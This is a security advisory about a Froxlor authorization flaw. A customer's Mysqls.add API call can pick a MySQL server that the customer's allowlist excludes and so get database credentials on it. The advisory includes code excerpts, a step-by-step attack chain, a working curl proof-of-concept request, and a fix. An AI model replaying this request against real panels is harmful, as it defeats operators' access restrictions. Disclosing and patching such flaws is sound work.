Summary

Details

public function add()
{
  if (($this->getUserDetail('mysqls used') < $this->getUserDetail('mysqls') || ...) {
    ...
    $customer = $this->getCustomerData('mysqls');            // line 80
    $dbserver = $this->getParam('mysql server', true,          // line 81 — user-controlled
      $this->getDefaultMySqlServer($customer));
    ...
    $dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...);  // line 92 — numeric only
    Database::needRoot(true, $dbserver, false);             // line 93 — root ctx for ANY index
    Database::needSqlData();
    $sql root = Database::getSqlData();
    Database::needRoot(false);
    if (!is array($sql root)) {                     // line 97 — only existence check
      throw new Exception("Database server with index #" . $dbserver . " is unknown", 404);
    }
    ...
    $username = $dbm->createDatabase($newdb params['loginname'], $password,
      $dbserver, ...);                         // line 116/118 — DB+user created
    ...
    Database::pexecute($stmt, ["customerid"=>$customer['customerid'], ..., "dbserver"=>$dbserver], ...);
  }
}

• lib/Froxlor/Api/Commands/MysqlServer.php:319-323 — get() rejects with HTTP 405 when $dbserver is not in allowed mysqlserver:

if ($this->isAdmin() == false) {
  $allowed mysqls = json decode($this->getUserDetail('allowed mysqlserver'), true);
  if ($allowed mysqls === false || empty($allowed mysqls) || !in array($dbserver, $allowed mysqls)) {
    throw new Exception("You cannot access this resource", 405);
  }
  ...
}

• lib/Froxlor/Api/Commands/MysqlServer.php:252-257 — same allowlist filter on listing().
• customer mysql.php:222 — UI rejects with Response::dynamicError('No permission') when empty($allowed mysqlservers).

1. Customer authenticates to api.php with apikey/secret. The only API gate is cust api allowed; allowed mysqlserver is not consulted at auth time.
2. Customer sends JSON {"command":"Mysqls.add","params":{"mysql password":"<valid>","mysql server":<disallowed idx>}}.
3. Mysqls.php:71 quota check passes (mysqls used < mysqls).
4. Mysqls.php:80 getCustomerData('mysqls') returns the caller's own row.
5. Mysqls.php:81 $dbserver is set from the request (default-fallback path skipped).
6. Mysqls.php:92 numeric regex passes.
7. Mysqls.php:93-99 Database::needRoot(true, $dbserver, false) switches to the root context of the attacker-chosen server; existence check passes.
8. Mysqls.php:116/118 DbManager::createDatabase(...) runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to <loginname> <sqlN> (DbManager.php:177-218).
9. Mysqls.php:127-141 inserts a row into TABLE PANEL DATABASES with the attacker's customerid and the disallowed dbserver, allowing later management via Mysqls.get/update/delete (which only filter by customerid for non-admins, e.g. Mysqls.php:282).

PoC

• ≥2 MySQL servers configured in lib/userdata.inc.php (e.g. index 0 default, index 1 internal/premium).
• Customer X with allowed mysqlserver=[0], cust api allowed=1, mysqls > 0, and an issued API key (apikey:secret).

curl -k -u 'CUST APIKEY:CUST SECRET' 
 -H 'Content-Type: application/json' 
 -X POST 
 -d '{"command":"Mysqls.add","params":{"mysql password":"ValidP@ssw0rd!","mysql server":1}}' 
 https://froxlor.example.com/api.php

{"data":{"id":42,"customerid":<cust id>,"databasename":"<loginname> sql1","dbserver":1,...}}

mysql -h server1.host -u <loginname> sql1 -p  # password: ValidP@ssw0rd!
mysql> SHOW DATABASES;    # the new DB is present
mysql> USE <loginname> sql1; # full access to the newly-created DB

Impact

• Bypass of the per-customer MySQL-server allowlist (allowed mysqlserver) enforced by the admin/reseller. The authorization model is fully defeated for the add operation.
• The customer obtains valid MySQL credentials on a server the operator explicitly excluded for them — possibly an internal/separate cluster, billing tier, premium-only host, or a server provisioned for a different tenant pool.
• The customer can persist a DB on the forbidden server (resource and policy bypass), then read/write data there, and continue to manage it through Mysqls.update / Mysqls.delete.
• Impact is bounded: privileges granted by DbManager::grantPrivilegesTo apply only to the new <loginname> sqlN database, so no cross-tenant data exposure on the forbidden server. The damage is policy bypass, resource consumption on the forbidden server, and credential persistence there.

Recommended Fix

// validate whether the dbserver exists
$dbserver = Validate::validate($dbserver, html entity decode(lng('mysql.mysql server')), '/^[0-9]+$/', '', 0, true);

// enforce per-customer allowed mysqlserver allowlist (parity with MysqlServer::get())
if (!$this->isAdmin()) {
  $allowed = json decode($customer['allowed mysqlserver'] ?? '[]', true);
  if (!is array($allowed) || empty($allowed)
    || !in array((int)$dbserver, array map('intval', $allowed), true)) {
    throw new Exception('You cannot access this resource', 405);
  }
}

Database::needRoot(true, $dbserver, false);